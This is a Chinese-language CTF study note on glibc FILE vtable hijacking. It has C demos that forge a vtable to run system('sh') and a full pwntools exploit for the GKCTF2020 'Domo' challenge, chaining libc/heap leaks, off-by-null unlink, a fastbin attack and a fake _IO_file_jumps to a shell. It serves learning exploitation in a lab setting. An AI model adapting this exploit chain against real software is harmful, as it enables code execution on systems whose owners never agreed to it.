复习说明

_IO_FILE_plus 结构体:最全面的结构体

extern struct _IO_FILE_plus *_IO_list_all;

_IO_list_all:_IO_FILE_plus类型的一个指针

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

结构体 _IO_FILE_plus ,它有两部分组成。

在第一部分, file 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。file结构在程序执行,fread、fwrite 等标准函数需要文件流指针来指引去调用虚表函数。
特殊地, fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 file结构的指针来接收这个返回值。

_IO_jump_t:

在第二部分,刚刚谈到的虚表就是 _IO_jump_t 结构体,在此虚表中,有很多函数都调用其中的子函数,无论是关闭文件,还是报错输出等等,都有对应的字段,而这正是可以攻击者可以被利用的突破口。
值得注意的是,在 _IO_list_all 结构体中,_IO_FILE 结构是完整嵌入其中,而 vtable 是一个虚表指针,它指向了 _IO_jump_t 结构体。一个是完整的,一个是指针,这点一定要切记。

反正大致是这么个流程就对了

利用方法

伪造 vtable 劫持程序流程的中心思想就是针对_IO_FILE_plus 的 vtable 动手脚,通过把 vtable 指向我们控制的内存,并在其中布置函数指针来实现。
因此 vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。

ctf-wiki上的例子:

int main(void)
{
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    vtable_ptr[7]=0x41414141 //xsputn

    printf("call 0x41414141");
}

不过在目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。
经过调试发现确实无法进行写入。

但是我们可以换一种利用思路,即伪造vtable的形式来利用



#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_addr,*fake_vtable;

    fp=fopen("123.txt","rw");
    fake_vtable=malloc(0x40);

    vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offset

    vtable_addr[0]=(long long)fake_vtable;

    memcpy(fp,"sh",3);

    fake_vtable[7]=system_ptr; //xsputn

    fwrite("hi",2,1,fp);
}

原理:vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 "sh" 写入_IO_FILE_plus 头部(即fp)。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system("sh")。
如果程序中不存在 fopen 等函数创建的_IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的_IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。

一些思路:
程序调用exit时,会遍历_IO_list_all,用 IO_2_1_stdout 下的 vatable 中 _setbuf 函数。

例题

[GKCTF2020]Domo

分析和思路

main函数

add 函数,发现我们可以申请九个chunk,并且题目给我们加了一个对hook函数的检查,发现申请的时候有个off-by-null,比如当我们申请的块为0x18时,下一个chunk的size为的最后一个字节会被我们覆盖为0

edit 函数,我们可以修改任意一个地址的一个字节内容,但是edit函数只能使用一次

还有show函数和delete函数,在此不作赘述

思路:
第一步:泄漏地址,我们可以申请unsorted bin的大小来leak libc的地址,可以利用fastbin大小的chunk来leak heap段的地址
第二步:利用 off by null来构造重叠的chunk,向前unlink,布置一个fake chunk,然后申请一个big chunk获得一个chunk的控制能力后利用fastbin attack可以获得一个合适地址写的能力
第三步:攻击_IO_2_1_stdin_的vtable指针,在附近构造一个fastbin chunk并在heap段上伪造一个fake _IO_file_jumps,然后填入gadget,利用可写能力将vtable的值修改到fake _IO_file_jumps,从而getshell

注意事项:
1,leak heap address是为了能够在unlink的时候伪造fd和bk绕过检查,并且在后续中改写vtable的时候利用
2,注意unlink的检查
3,用这个思路解题的过程中并没有用到edit功能
exp:

from pwn import *

local = 1  
if local == 1:
    p = process('./domo')
else:
    p = remote('node3.buuoj.cn',29623)

context.terminal = ['tmux','splitw','-h']

def dbg():
    context.log_level = 'debug'

def add(size,content):
    p.sendlineafter('>','1')
    p.sendlineafter('size:',str(size))
    p.sendafter('content:',content)

def delete(index):
    p.sendlineafter('>','2')
    p.sendlineafter('index:',str(index))

def show(index):
    p.sendlineafter('>','3')
    p.sendlineafter('index:',str(index))

def edit(addr,num):
    p.sendlineafter('>','4')
    p.sendlineafter('addr:',str(addr))
    p.sendafter('num:',num)

#dbg()

libc = ELF('./libc-2.23.so')

print "============= step 1: leak libc and heap addr ================="

add(0x80,'aaaaaaaa')    #chunk0
add(0x10,'protect')     #chunk1

delete(0)

add(0x80,'\x78')    #chunk0
#dbg()
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
print "[*] libc base:" + hex(libc_base)

add(0x20,'A')   #chunk2
add(0x20,'B')   #chunk3

delete(2)
delete(3)

add(0x20,'a')   #chunk2
show(2)
heap_addr = u64(p.recvuntil('\x55')[-6:].ljust(8,'\x00')) - 0x1061
print "[*] heap address: " + hex(heap_addr)


print "=================== step 2: off by null to overlap ================="

offset_heap_chunk3 = 0x1120
fake_chunk = heap_addr + offset_heap_chunk3
payload = p64(0) + p64(0xb1) + p64(fake_chunk+0x18) + p64(fake_chunk+0x20) + p64(fake_chunk+0x10)

add(0x40,payload)   #chunk3
add(0x68,'a')       #chunk4
add(0xf0,'b')   #chunk5

delete(4)

print "====== to use off by null ======"
add(0x68,0x60 * '\x00' + p64(0xb0))     #chunk4

print "===== unlink to overlap ====="
delete(5)


add(0xc0,'a')   #chunk5
add(0x60,'b')   #chunk6

delete(6)
delete(4)
delete(5)

#gdb.attach(p)

print "============ step 3: to make fake fake_vtable to get shell ================"
_IO_2_1_stdin_ = libc_base + libc.sym['_IO_2_1_stdin_']
_IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']

fake_chunk = _IO_2_1_stdin_ + 160 - 3

payload = '\x00' * 0x38 + p64(0x71) + p64(fake_chunk)
add(0xc0,payload)   #chunk5

one_gadget = libc_base + 0xf02a4
add(0xa8,p64(0) * 2 + p64(one_gadget) * 19)

fake_vtable = heap_addr + 0x1270
payload = '\x00' * 3 + p64(0) + p64(0) + p64(0) + p64(0) * 2 + p64(fake_vtable)

add(0x60,'a')
#gdb.attach(p)
add(0x60,payload)

#gdb.attach(p)

p.interactive()